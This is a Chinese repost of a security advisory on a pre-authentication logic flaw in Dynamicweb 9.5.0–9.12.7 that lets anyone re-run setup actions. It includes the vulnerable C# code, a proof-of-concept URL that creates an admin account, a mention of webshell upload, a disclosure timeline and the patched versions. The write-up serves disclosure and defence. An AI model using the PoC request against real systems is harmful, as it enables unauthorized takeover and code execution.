前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Dynamicweb 9.5.0 - 9.12.7 中导致 RCE 的逻辑缺陷

Dynamicweb 9.5.0 - 9.12.7 中导致 RCE 的逻辑缺陷

作者头像
Khan安全团队
发布2022-02-25 09:36:05
7400
发布2022-02-25 09:36:05
举报
文章被收录于专栏:Khan安全团队

介绍

在审核企业应用程序时,不仅要关注具体的漏洞类别,还要关注如果被利用可能会产生重大影响的逻辑缺陷。

许多企业 Web 应用程序包含一个设置流程,该流程仅应在首次运行软件时触发。这些设置流程启用敏感功能,例如配置数据库或用户。

在对这些设置流程进行分析时,应确认在设置阶段完成后是否无法触发这些流程。

在 Dynamicweb 的情况下,可以触发设置流程使用的代码路径,以向系统添加新的管理员用户。添加用户后,可以上传一个 ASPX webshel​​l 来实现命令执行。

什么是动态网?

根据 Dynamicweb 的营销材料:

Dynamicweb 提供基于云的电子商务套件。Dynamicweb 使客户能够通过我们的内容管理、数字营销、电子商务和产品信息管理解决方案提供更好的数字客户体验并扩大电子商务的成功。

代码分析

我们发现/Admin/Access/Setup/Default.aspx在某些条件下无需重定向到身份验证即可到达端点。

将其映射回源代码,我们发现了以下文件和代码片段:

Dynamicweb.Admin/Dynamicweb/Admin/_Default3.cs

代码语言:javascript
复制
protected void Page_Load(object sender, EventArgs e)
{
	string text = Dynamicweb.Context.Current.Request["Action"];
	if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
	{
		base.Response.Redirect("/Admin");
	}
	if (!string.IsNullOrEmpty(text))
	{
		Dynamicweb.Content.Management.Setup.HandleAction(text);
	}

你能发现上面的逻辑缺陷吗?

这里存在逻辑缺陷:

if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())

如果您仔细阅读代码块,您会意识到只要text变量填充了任何内容,这个条件就不会成立。text变量是从参数派生的Action

&&实际上应该||是。

由于这是由用户控制的,因此我们能够有效地绕过阻止再次运行设置步骤的控制。

提供的Action然后被传递给Dynamicweb.Content.Management.Setup.HandleAction(text);.

在查看代码时,HandleAction我们发现以下内容:

代码语言:javascript
复制
internal static void HandleAction(string action)
		{
			ActionResult actionResult = null;
			IsSetupCompleted = false;
			switch (action)
			{
			case "copyfiles":
				if (Context.Current.Request.GetBoolean("mapToExistingFolder"))
				{
					string @string = Context.Current.Request.GetString("filespath");
					... omitted for brevity ...
			case "tryconnectdatabase":
				actionResult = CanConnectToDatabase(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
				if (!actionResult.Success)
				{
					actionResult = CanConnectToDatabaseServer(Context.Current.Request["server"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
				}
				break;
			case "setdatabasesettings":
				actionResult = SetupDatabaseSettings(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request.GetBoolean("integrated"), Context.Current.Request.GetBoolean("azure"), Context.Current.Request.GetBoolean("createazuredatabase"), Context.Current.Request["connectionString"]);
				break;
			case "createschema":
				actionResult = SetupDatabaseSchemaAndData(Context.Current.Request.GetBoolean("createazuredatabase"));
				break;
			case "createadministrator":
				actionResult = SetupAdministrator(Context.Current.Request["adminusername"], Context.Current.Request["adminpassword"], Context.Current.Request["adminemail"], Context.Current.Request["adminname"]);
				break;
			case "endsetup":
				IsSetupCompleted = true;
					... omitted for brevity ...
			MakeResponse(actionResult);
		}

通过阅读上面的代码,我们可以看到绕过认证后可以进行以下操作:

  • 复制文件
  • 连接到数据库
  • 设置数据库配置
  • 创建模式
  • 创建管理员用户

最具影响力的利用向量是添加一个新的管理员用户,然后在验证后将 ASPX webshel​​l 上传到管理员面板。上传 webshel​​l 留给读者作为练习。

概念验证

代码语言:javascript
复制
https://target.com/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername=admin1&adminpassword=admin1&adminemail=test@test.com&adminname=test

上面的 URL 将使用用户名admin1和密码添加一个新的管理员用户admin1。一旦通过管理员面板的身份验证,就可以上传 web shell 并实现命令执行。

供应商回应

Dynamicweb 认真处理了这些问题,我们感谢他们为修复此漏洞并与我们通信所做的努力。

我们于 2022 年 1 月 21 日向 Dynamicweb 报告了此问题。

此披露过程的时间表如下:

  • 2022 年 1 月 21 日:披露预授权错误以添加管理员用户
  • 2022 年 1 月 21 日:Dynamicweb CTO 的确认和修复信息
  • 2022 年 1 月 24 日:向 Dynamicweb 客户推出了修复程序
  • 2022 年 2 月 24 日:发布咨询和博客文章

补救建议

包含修复的热修复版本可以在下面找到:

  • 动态网 9.5.9
  • 动态网 9.6.16
  • 动态网 9.7.8
  • 动态网 9.8.11
  • 动态网 9.9。
  • 动态网 9.10.18
  • 动态网 9.12.8
  • 动态网 9.13.0+

请尽快升级到这些热修复版本之一。

结论

此博文中发现的漏洞首次出现在 2018 年 8 月的 Dynamicweb 版本中。在审核企业软件时,了解某些管理操作背后的上下文和逻辑非常重要,例如再次运行设置阶段。专注于这些领域可能会导致重要的发现,就像这篇博文中披露的那样。逻辑缺陷通常不会被工具检测到,但仍然会产生很大的安全影响。

作为我们持续安全平台开发的一部分,Assetnote 的安全研究团队一直在寻找企业软件中的安全漏洞,以帮助客户识别其攻击面的安全问题。

将这项研究作为一个整体来看,关键的一点是部署该软件的组织通常缺乏或误解了对企业软件公开的可见性。许多组织不成比例地关注内部软件和网络问题,而牺牲了对第三方开发的软件的认识和可见性。我们的经验表明,在广泛部署的企业软件中仍然存在经常被遗漏的重大漏洞。

本文系转载,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系转载前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 介绍
  • 什么是动态网?
  • 代码分析
  • 概念验证
  • 供应商回应
  • 补救建议
    • 结论
    相关产品与服务
    数据库
    云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档